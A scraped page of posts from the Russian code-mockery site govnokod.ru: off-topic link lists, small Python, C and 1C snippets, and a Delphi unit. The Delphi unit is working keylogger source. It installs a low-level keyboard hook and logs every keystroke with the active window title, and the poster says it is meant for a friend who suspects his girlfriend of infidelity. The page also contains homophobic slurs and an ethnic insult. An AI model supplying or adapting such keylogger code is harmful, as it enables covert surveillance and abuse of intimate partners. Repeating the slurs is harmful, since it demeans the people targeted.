- 1
https://i.imgur.com/2GTA40l.png
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−10
https://i.imgur.com/2GTA40l.png
−12
Политота #5
#1: https://govnokod.ru/15804 http://govnokod.xyz/_15804/ (не открывается)
#2: https://govnokod.ru/19910 http://govnokod.xyz/_19910/
#3: https://govnokod.ru/23643 http://govnokod.xyz/_23643/
#4: https://govnokod.ru/24822 (потер пидарас сракер) http://govnokod.xyz/_24822/
Русня, сасай!
−12
IT Оффтоп #9
#1: http://govnokod.ru/18142 http://govnokod.xyz/_18142
#2: http://govnokod.ru/18378 http://govnokod.xyz/_18378
#3: http://govnokod.ru/19667 http://govnokod.xyz/_19667
#4: http://govnokod.ru/21160 http://govnokod.xyz/_21160
#5: http://govnokod.ru/21772 http://govnokod.xyz/_21772
#6: http://govnokod.ru/24063 http://govnokod.xyz/_24063
#7: http://govnokod.ru/24538 http://govnokod.xyz/_24538
#8: http://govnokod.ru/24815 (потёр пидор сракер) http://govnokod.xyz/_24815/
−12
#Было:
sorted(lst, key=lambda x: x['key'])
#или
sorted(lst, key=operator.itemgetter('key')
#стало:
sorted(lst, key=S_['key'])
Говнокоданы, как вам такая идея?
−10
val = atoi(curstr);
count = 0;
while (val) {
buf[count] = (val & 0x7f);
val = val >> 7;
count++;
}
Ноль не число.
Отсюда:
https://dxr.mozilla.org/mozilla-central/source/security/nss/cmd/oidcalc/oidcalc.c
−9
BOOL ShaderElement::equal(ShaderElement* S)
{
if (nullptr == S && nullptr == this)
return TRUE;
if (nullptr == S || nullptr == this)
return FALSE;
return equal(*S);
}
https://www.linux.org.ru/forum/development/14512625
−11
Кто работал в "Luxoft"?
−10
product_id '14'
product_id '17'
product_id '18'
product_id '19'
product_id '20'
product_id '21'
product_id '22'
product_id '25'
product_id '28'
product_id '29'
product_id '30'
product_id '31'
product_id '32'
product_id '33'
product_id '34'
product_id '35'
product_id '36'
product_id '37'
product_id '38'
product_id '39'
product_id '40'
product_id '41'
product_id '42'
product_id '152'
product_id '166'
product_id '181'
product_id '183'
product_id '184'
product_id '187'
product_id '188'
product_id '189'
product_id '190'
product_id '191'
product_id '192'
product_id '193'
product_id '194'
product_id '195'
product_id '196'
product_id '197'
product_id '198'
product_id '200'
product_id '202'
product_id '203'
product_id '803'
product_id '805'
product_id '806'
product_id '807'
product_id '808'
product_id '809'
product_id '810'
−9
Процедура тпТоварыПриПолученииДанных(Элемент, ОформленияСтрок)
Модифицированность_ = Модифицированность;
Для Каждого Стр из ОформленияСтрок Цикл
Если НЕ Стр.ДанныеСтроки.Вес = 0 И НЕ Стр.ДанныеСтроки.ПроцентУсушки = 0 Тогда
Стр.ДанныеСтроки.Усушка = (Стр.ДанныеСтроки.Вес * Стр.ДанныеСтроки.ПроцентУсушки / 100) * Стр.ДанныеСтроки.Количество;
КонецЕсли;
КонецЦикла;
Модифицированность = Модифицированность_;
КонецПроцедуры
Данные табличной части модифицируются в процедуре ПриПолученииДанных (видимо, лучшего места для этого не нашлось), что закономерно приводит к отложенному на мгновение вызову ПриПолученииДанных ещё раз, и ещё, и так далее. В результате процессор загружается почти на 100%, значок * в заголовке формы дико мерцает.
Написано программистом с 6-значной ЗП.
+2
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.